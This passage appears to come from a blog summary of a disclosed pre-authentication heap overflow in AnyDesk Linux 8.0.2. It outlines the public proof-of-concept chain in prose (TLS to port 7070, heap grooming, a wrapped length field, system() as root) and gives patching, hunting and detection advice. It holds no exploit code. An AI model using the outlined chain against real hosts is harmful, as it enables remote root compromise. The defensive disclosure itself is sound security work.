  • The public PoC is TLS to TCP/7070 with a throwaway client cert, a setup replay, a profile object, a size-graded heap spray, ten extra clients, a 0xfffffff0 declaration, a ret-sled, and system() on a fixed scratch buffer.
  • Relays speak the same parser. Direct-connect-off is incomplete mitigation.
  • Offsets are for SHA-256 62ee04ad…394f5a on Linux Mint 22.3. Other builds crash or need new gadgets.
  • Fixed in 8.0.3. V12 report the 8.0.2 build was pulled after their PoC video.
  • Do not confuse this with CVE-2025-27918 (UDP Discovery identity images on a different version matrix).

Defensive Recommendations

  1. Patch AnyDesk Linux to 8.0.3 or newer. Confirm with a file hash, not a tray-icon version string if those can lag.
  2. Hunt remaining 8.0.2 binaries by SHA-256 62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a in software inventory and on disk.
  3. Do not treat “direct connections disabled” as the fix. The parser is on the relay path too. Patching is the fix. Network policy is defense in depth.
  4. Restrict TCP/7070 to admin jump hosts where direct connect is still required. Log TLS SNI and client-cert freshness.
  5. Alert on AnyDesk service crashes after inbound 7070, and on system()-shaped child processes of the service.
  6. If you ship a length-prefixed protocol, validate remaining-frame size before any allocation derived from a declared length, and do the add in a type that cannot wrap or with an overflow check. declared + header < declared is the one-line test this bug fails.
  7. Keep AnyDesk out of unattended root service mode unless the product actually needs it. A user-mode helper with a smaller listen surface would have turned this into a user-compromise instead of a box-compromise.
  8. Lab only for the GitHub PoC. Authorized 8.0.2 VMs, never a production listener, never a replay against a customer endpoint.

Conclusion

AnyPwn is a textbook of two old lessons glued together. First, a remote-access service is a public parser that happens to draw a desktop. Second, a length field that is added in 32-bit arithmetic before it is checked against the packet is a heap overflow with extra steps. V12’s contribution is the protocol work: they spoke enough of AnyDesk’s private language to stand in the mode-5 path, groom the allocator, and turn a wrapped malloc into system() as root, before anyone clicked Accept. 8.0.3 is the patch. The rest of this page is so that 8.0.2 cannot hide behind “we do not allow direct connections” or behind a different CVE number from 2025.

Kitchen table: If the waiter can write any number on the ticket, the kitchen has to weigh the plates. AnyDesk 8.0.2 weighed the number. 8.0.3 is the version that learned to weigh the plates.

Original text: “AnyPwn: AnyDesk Pre-auth Heap Buffer Overflow RCE” by Rick de Jager at V12.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion